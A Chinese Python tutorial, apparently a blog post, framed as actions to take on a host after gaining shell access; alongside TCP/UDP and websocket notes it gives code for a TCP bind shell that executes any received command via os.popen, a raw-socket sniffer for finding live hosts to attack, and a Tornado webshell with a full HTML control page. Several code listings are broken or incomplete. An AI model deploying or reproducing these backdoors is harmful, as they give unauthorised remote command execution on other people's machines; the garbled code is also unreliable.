天天看點

python實戰(針對拿到shell權限後對主機進行的操作)基礎

準備工作:

    (1)OS系統:windows/linux

    (2)浏覽器:隻要核心符合webkit/不建議使用ie核心的浏覽器

      推薦:chrome/sogouie/360

    (3)python:3.7.x

      不建議使用3.7以上,一般采用3.5、3.6、3、7版本的python

    (4)IDE:IDLE/VScode/記事本/文本編輯器/sublime

    (5)pip tools

    (6)net:網絡通暢

   基本文法

    資料和集合

    函數和變量

    .......  

  

TCP和UDP的差別

   計算機與網絡裝置互相通信,雙方就必須基于相同的方法履歷的一套通信網絡模型,需要事先約定好的通信規則稱之為協定(protocol)

   TCP/IP是一系列協定族群的統稱:tcp/udp/ip/ftp/http/smtp等

   這些協定可以劃分為四層:

    鍊路層:負責封裝和解封IP封包,發送和接受ARP/RARP封包等

    網絡層:負責路由以及分組封包發送給目标網絡和主機

    傳輸層:負責對封包進行分組和重組,并以TCP或者UDP封裝封包

    應用層:負責向使用者提供應用程式,http,ftp,telnet,dns,smtp等

     全稱是使用者資料報協定,和TCP一樣,用于處理資料包,他是一種無連接配接協定,不提供資料包分組,組裝和不能對資料包進行排序等特點,也就是說無法得知是否安全完整的到達。

       在發送端,應用層将資料傳給傳輸層的UDP協定,UDP隻會給資料增加頭辨別,識别一下是否UDP過來的資料包,然後傳輸給傳輸層

       在接收端,網絡層将資料傳輸給傳輸層,UDP隻去除IP封包頭,就傳輸給應用層,不會做任何的拼接操作

        UDP不僅僅隻支援一對一的傳輸,還可以支援一對多,多對多,多對一的傳輸方式

       發送方對UDP對應用程式傳遞下來的封包,不會做合并和拆分,隻會添加首部和尾部後傳遞IP層

       無連接配接,通信不需要建立連接配接;接受什麼資料就傳輸什麼資料;不會備份資料;發送資料不會确定接收方是否已經接收到資料;無擁塞控制,以恒定的速度進行收發,網絡出現波動會導緻丢包

       比如電話傳輸,qq等

      第一次握手是主要是向伺服器發送請求的封包段;第二次握手主要是伺服器接收到請求的封包段,如果同意連接配接,就會發送一個應答;第三次握手是用戶端接收到伺服器的應答後,向伺服器發送一個确認封包

      TCP是一種雙全工的機制,在斷開連接配接到時候,兩端都需要發送一個ACK和FIN來給它一個狀态,在三次握手後,還有個四次揮手,在用戶端發送斷開連接配接請求給服務端;伺服器傳回收到;在所有資料傳輸完成後,伺服器再發送一次收到,并關閉連接配接;用戶端再發送一個ack表示已收到。

       當發送資料的時候必須在兩端建立連接配接,建立連接配接是通過三次握手進行建立,這樣建立的是一種可靠的連接配接,為後續資料傳輸打基礎

       隻能在建立了連接配接的兩端進行傳輸,不支援廣播和多點傳播

       将資料轉化為位元組流,不是向UDP那種一個封包一個封包的傳輸,而是以不保留邊界的情況下,以位元組流的傳輸

       為保證封包的傳輸可靠,給每個包一個序号,同時序号也是保證了傳輸到接收端的實體是按照順序進行接收的,在接收端的實體,對已成功的位元組發回一個相應的确認ACK,如果發送端的實      體未接收到确認,會重新傳輸。

       當網絡出現了擁塞,tcp能減少相應網絡傳輸資料的速率和數量來緩解擁堵

      TCP允許通信雙方的應用程式在任何時候都可以發送資料,TCP有緩存,是臨時存放雙向通信的資料,可以立即發送一個資料段,也可以緩存一段時間再發送資料端,主要取決于最大封包段長度(MSS)

      

<col>

UDP

TCP

是否連接配接

無連接配接

面向連接配接

是否可靠

不可靠

可靠

連接配接對象個數

多對多,單對單,單對多,多對單

單對單

傳輸方式

面向封包

面向位元組流

首部開銷

開銷小,8/位元組

最小20個,最大60個位元組

使用場景

實時應用

要求可靠傳輸的,如檔案下載下傳

TCP伺服器的實作

    注意:該伺服器能獲得本主機的主機名和打開12345端口,可以實作TCP連接配接

TCP用戶端的實作

   

 

python實作UDP伺服器

python實作UDP用戶端

python執行shell/cmd指令

os.system('指令字元'):傳回結果和執行的狀态碼:0[成功]/1[失敗]

os.popen('指令字元'):傳回的是執行結果,沒有執行狀态,這樣可以将擷取的結果傳回到一個list對象中

可用來做shell執行的一種方法,在搭建了tcp或者udp後,可以執行os.popen()來執行作業系統的一些指令

getoutput("指令字元")

getstatusoutput('指令字元')

shell執行:

os.system('./hello.sh')

shell中的參數的使用

shell,檔案名:run.sh , 内容:echo "hello world ${1}${2}"  //第一個變量為${1}第二個為${2}

sh run.sh hello python       //第一個變量為hello,第二個變量為python

python:

arg0 = input("請輸入第一個參數") #'hello'

arg1 = input('請輸入第二個參數') # 'python'

os.system('./run.sh '+arg0+' ' +arg1)

實作一個TCP的原創執行CMD/Shell指令的工具

#建立一個tcp控制伺服器,能夠實作接收來自于用戶端的指令,并執行後,将結果原樣傳回給用戶端

from socket import * #将所有的socket子產品都導入

import os #導入os子產品

#建立一個socket對象

tcpserversocket = socket(AF_INET,SOCK_STREAM)

#綁定本地資訊

addr = (' ',12345)#前一個是IP位址,後一個是端口

tcpserversocket.bind(addr) #将IP位址和端口綁定為一個套接字

tcpserversocket.listen(5) #表示能同時運作的程序為5個,listen函數使用主動連接配接套接口變為被連接配接套接口,使得一個程序可以接受其它程序的請求,進而成為一個伺服器程序

while True:

#如果有新的用戶端連接配接上來,那麼久産生一個新的套接字對象用于專為這個用戶端服務

newsocket,clientSocket = tcpserversocket.accept() #與listen監聽對應,在監聽到新的用戶端連接配接後,進行接收

#接收對用戶端發送過來的資料,最大接收的位元組為4096

cmd = newsocket.recv(4096)

#判斷cmd裡面是否有東西

if len(cmd)&gt;0:

print("clint:"+cmd.decode('utf-8')) #将cmd裡面的内容強制轉換為utf-8列印

#将cmd裡面的資料放到os子產品中去執行

res = os.popen(cmd.decode('utf-8'),'r').read()

#将執行的結果發送給用戶端

newsocket.send(res.encode().encode('utf-8'))

#一定要關閉指令

res.close()

else:

break

newsocket.close()  

#簡易版的SSH用戶端實作

from socket import *

import os

#建立socket

tcpClientSocket = socket(AF_INET,SOCK_STREAM)

#連接配接伺服器-可改良為參數化的方式

serAddress = ('127.0.0.1',12345)

tcpClientSocket.connect(serAddress) #連接配接伺服器

#提示使用者輸入指令

sendCmd = input("請輸入指令:")

if len(sendCmd)&gt;0:

#判斷是否有内容

tcpClientSocket.send(sendCmd.encode('utf-8'))

#接收來自于伺服器的執行結果

recv = tcpClientSocket.recv(4096)

print(recv.decode('utf-8'))

#關閉socket

socket.close()

實作一個UDP主機發現工具:Windows/Linux的包嗅探

大部分作業系統在處理UDP閉合端口時,存在一種共性行為,我們可以通過這種行為來确定某個IP位址上是否存在主機存活

icmp,指定目标端口不可達,通過該資訊就可以知道目标是否存活

為什麼是使用UDP,是因為UDP可以對整個子網進行資訊發送,然後等待相應的ICMP響應傳回,而且這個過程沒有什麼開銷

目标是一款簡單的對在Windows/Linux上運作的網絡主機發現工具

還可以調用Nmap對發現的任何主機進行完整的端口掃描,用于判斷對他們進行網絡攻擊的可能性

注:在Windows中必須采取管理者模式才能通路

#網絡發現工具-嗅探器

import socket

import os

#監聽的主機IP,監聽那個網絡端口

host = '192.168.80.128'

#建立原始的套位元組,綁定到公開的接口上

#相容Windows和Linux(windows平台能支援所有的通路,Linux平台隻支援ICMP,是以才需要使用if和else)

if os.name =='nt':

socket_protocol = socket.IPPROTO_IP#允許嗅探IP的所有資料包

socket.protocol = socket.IPPROTO_ICMP#隻允許ICMP的資料包

sniffer = socket.socket(socket.AF_INET,socket.SOCK_RAW,socket_protocol) #SOCK_RAW和send一樣,意思是有套接字

#綁定端口為0,表示監聽所有端口

sniffer.bind((host,0)) #0表示所有端口

#設定捕獲資料包中包含的IP頭

sniffer.setsockopt(socket.IPPROTO_IP,socket.IP_HDRINCL,1)

#設定啟動混合模式

if os.name == 'nt':

sniffer.ioctl(socket.SIO_RCVALL,socket.RCVALL_ON) #如果是Linux模式需要使用的混合模式

#讀取到的單個資料包

while True: #可以設定不斷讀取發送的資料包

print(sniffer.recvfrom(65565))

#需要在Windows平台上半閉混合模式

sniffer.ioctl(socket.SIO_RCVALL,socket.RCVALL_OFF)#使用Windows模式,需要關閉混合模式

python實作HTTP伺服器并控制伺服器

#速成版的HTTP伺服器

import tornado.web

import tornado.ioloop

#伺服器由兩個部分組成,一個是伺服器(類似于apache/nginx),一個是應用(webapp)

#應用requesthandler

#定義一個視圖類

class mainHandler(tornado.web.RequestHandler):

# tjg重寫requesthandler中的方法

# 一般情況下,http有兩種請求方法

# get:url請求,友善但不安全

# post:隐形請求,不友善但相對安全

def get(self):

# 當使用者是通過url方式請求過來的,就通過這個方法

self.write("get")

def post(self):

# 當使用者是通過post方式請求過來的,就通過post方法

self.write("post")

class chatHandler(tornado.web.RequestHandler):

#tjg重寫requesthandler中的方法

#一般情況下,http有兩種請求方法

#get:url請求,友善但不安全

#post:隐形請求,不友善但相對安全

#當使用者是通過url方式請求過來的,就通過這個方法

self.write("get chat")

#當使用者是通過post方式請求過來的,就通過post方法

self.write("post chat")

#定義一個應用

def makeapp():

#關聯通路規則,主要通過url位址來判斷進入到哪一個視圖類

return tornado.web.Application([

(r"/", mainHandler), (r"/chat", chatHandler)

])

#配置

if __name__ == "__main__":

#程式入口

app = makeapp()

app.listen(8888,address='127.0.0.1')    #設定你需要通路的位址和端口

tornado.ioloop.IOLoop.current().start()

定義端口:tornado,options

擷取使用者送出過來的内容

#實作參數化啟動http的服務

from tornado.web import RequestHandler,Application

from tornado.ioloop import IOLoop

from tornado.options import options,parse_command_line,define

from tornado.httpserver import HTTPServer

#定義端口變量

define('port',default=8888,help='this is port')

#定義一個視圖

class IndexHandler(RequestHandler):

#重寫get方法

#這裡可以接收來自與URL中的參數和值,在url中參數連接配接為&amp;

self.write("12312")

cmd = self.get_query_argument('cmd','') #獲得參數,第一個是參數名,第二個是預設值(預設為空)

run = self.get_query_argument('run','0')

print(cmd)

print(run)

self.write('cmd value=' +cmd) #通過+進行連接配接,連接配接符

#将值傳回到頁面

return Application({

(r'/',IndexHandler)

})

if __name__ == '__main__':

#開始接收監聽指令行的參數資料,參數資料需要經過define定義

parse_command_line()

#web應用

#将app部署到http伺服器

server = HTTPServer(app)

#綁定配置-端口

server.bind(options.port) #設定的預設端口為8888,但是可以直接輸入端口

#啟動server

server.start()

#啟動輪詢監聽

IOLoop.current().start()

# 簡單版的webshell

#這裡可以接收來自于URL中的參數和值,方法有兩個參數,一個是url中的參數名,第二個參數為預設值

cmd = self.get_query_argument('cmd','')

print("接收到的指令内容是:"+cmd)

#在此處執行指令

rs = os.popen(cmd,'r') #執行權限為r

#将傳回值傳回到頁面

self.write('&lt;font color=red&gt;【'+cmd+'】執行結果為:&lt;/font&gt;&lt;/br&gt;')

self.write(rs.read())

return Application([

if __name__ =='__main__':

server.bind(options.port)

# webshell的pythonhttpserver

#定義視圖類——用于呈現界面

#當使用者通路預設頁面,直接傳回webshell界面

#write裡面的内容是壓縮後的前端頁面,采用html線上壓縮方式壓縮

self.write('&lt;!DOCTYPE html&gt;&lt;html&gt;&lt;head&gt;&lt;meta charset="utf-8"&gt;&lt;title&gt;webshell&lt;/title&gt;&lt;style&gt;*{padding:0;margin:0}html,body{height:100%;width:100%}.warp_panel{height:100%;width:100%;background-color:#000000}.showresult{height:95%;width:100%}.inputpanel{height:5%;width:100%;background-color:#FFFFFF;display:flex}.showresult&gt;textarea{height:100%;width:100%;overflow:auto;border:none;background-color:initial;color:#FFFFFF}.inputpanel&gt;input:nth-of-type(1){height:100%;width:90%;border:none}.inputpanel&gt;input:nth-of-type(2){height:100%;width:10%;border:none}&lt;/style&gt;&lt;script&gt;function b(){var cmdvalue=document.getElementById("inputcmd");if(cmdvalue.value==""){alert("指令不能為空")}else{var xmlhttp=new XMLHttpRequest();xmlhttp.open("GET","/cmd?cmd="+cmdvalue.value,true);xmlhttp.onreadystatechange=function(){if(xmlhttp.readyState===4){if(xmlhttp.status===200){var si=document.getElementById("showinfo");si.innerHTML=xmlhttp.responseText}else if(xmlhttp.status===404){}else{}}};xmlhttp.send(null);cmdvalue.value=""}}&lt;/script&gt;&lt;!--兩種方式送出,點選按鈕送出和按回車送出--&gt;&lt;/head&gt;&lt;body&gt;&lt;div class="warp_panel"&gt;&lt;div class="showresult"&gt;&lt;textarea id="showinfo"&gt;&lt;/textarea&gt;&lt;/div&gt;&lt;div class="inputpanel"&gt;&lt;input type="text"id="inputcmd"placeholder="請輸入指令:"/&gt;&lt;input type="button"value="送出"onclick="b()"/&gt;&lt;/div&gt;&lt;/div&gt;&lt;/body&gt;&lt;/html&gt;')

#定義視圖類——用于接收并傳回資料

class CmdHandler(RequestHandler):

#接收url中的資料,并傳回cmd執行的結果

cmd = self.get_query_argument("cmd","")

#執行cmd

rs = os.popen(cmd,'r')

#傳回資料

rs.close()

(r'/',IndexHandler),(r'/cmd',CmdHandler)

#開始接收并監聽指令行的參數資料

#webapp

#将app部署到伺服器中

#綁定端口

注:所有的前端代碼在壓縮的時候都需要采用雙引号,而不能使用單引号,因為後面壓縮後的代碼回合python語句起沖突。

&lt;!DOCTYPE html&gt;

&lt;html&gt;

&lt;head&gt;

&lt;meta charset="utf-8"&gt;

&lt;title&gt;webshell&lt;/title&gt;

&lt;style&gt;

*{

padding:0;

margin:0;

}

html,body{

height:100%;

width:100%;

.warp_panel{

background-color:#000000;

.showresult{

height:95%;

.inputpanel{

height:5%;

background-color: #FFFFFF;

display: flex;

.showresult&gt;textarea{

height: 100%;

width: 100%;

overflow: auto;

border: none;

background-color: initial;

color: #FFFFFF;

.inputpanel&gt;input:nth-of-type(1){

width: 90%;

.inputpanel&gt;input:nth-of-type(2){

width: 10%;

&lt;/style&gt;

&lt;script&gt;

//按鈕的控制方法

function b(){

//擷取輸入框的内容

var cmdvalue = document.getElementById("inputcmd");

//console.log(cmdvalue.value);

if(cmdvalue.value==""){

alert("指令不能為空");

}else{

//内容不為空

//送出邏輯

//通過url向伺服器請求——異步請求技術(在頁面不重新整理的情況,送出資料到背景)

//原生的異步對象——xmlhttprequest

var xmlhttp = new XMLHttpRequest();

xmlhttp.open("GET","/cmd?cmd="+cmdvalue.value,true);

xmlhttp.onreadystatechange = function(){

//當請求執行後,會觸發該方法

if(xmlhttp.readyState===4){

if(xmlhttp.status===200){

//console.log(xmlhttp);

//請求成功

var si = document.getElementById("showinfo");

si.innerHTML = xmlhttp.responseText;

}else if(xmlhttp.status===404){

//找不到

//執行失敗

};

xmlhttp.send(null);

//送出完後,需要清空輸入框

cmdvalue.value = "";

&lt;/script&gt;

&lt;!-- 兩種方式送出,點選按鈕送出和按回車送出 --&gt;

&lt;/head&gt;

&lt;body&gt;

&lt;div class="warp_panel"&gt;

&lt;div class="showresult"&gt;

&lt;textarea id="showinfo"&gt;&lt;/textarea&gt;

&lt;/div&gt;

&lt;div class="inputpanel"&gt;

&lt;input type="text" id="inputcmd" placeholder="請輸入指令:" /&gt;

&lt;input type="button" value="送出" onclick="b()"/&gt;

&lt;/body&gt;

&lt;/html&gt;

 websocket介紹及結構預覽

早期是一種長輪詢,短輪詢:是伺服器向用戶端主動發送資訊,時間長短不同分類

長輪詢用到ajax異步請求方式,一次請求為一次輪詢

ws:普通的websocket

wss:加密的

websocket節約伺服器帶寬,實作即時通信

tornado架構:龍卷風主要就是為了實作實時通信建立的

websockethandler

open:當有使用者連接配接上伺服器時,主動出發該方法

on_message:當使用者向伺服器發送消息時候,主動觸發該方法

on_error:當通信有錯時,觸發該方法

on_close:當使用者下線時,觸發該方法

onopen:當使用者連接配接成功,伺服器傳回一個狀态,觸發該方法,可以證明是否連接配接到伺服器

onmessage:當服務端向用戶端發送消息時,觸發該方法

onerror:在通信過程中出錯時,觸發該方法

onclose:使用者下線或斷開連接配接時,觸發該方法

python實作即時通信伺服器并控制伺服器

python實作對資料庫的基本操作

文本存儲:txt,ini,xml,json

資料檔案:bat

資料庫存儲:關系型資料庫:MySQL,SQL server

sqlite:字尾為xxx.db,免安裝,易操作,一個sqlite3标準的資料庫檔案,符合SQL的文法操作規則

能快速實作一個程序内的資料庫系統,能自給自足,無伺服器,零配置,滿足事務型資料庫引擎,是一個完整的資料庫系統

免安裝,存放于硬碟中,輕量級,完全相容ACID,允許從多個程序或線程安全通路

完全支援sql92标準的大多數語言功能

支援的平台包括:unix:Linux,macos,Android,iOS;Windows:win32 ,wince,winrt;

支援DDL,DQL,DML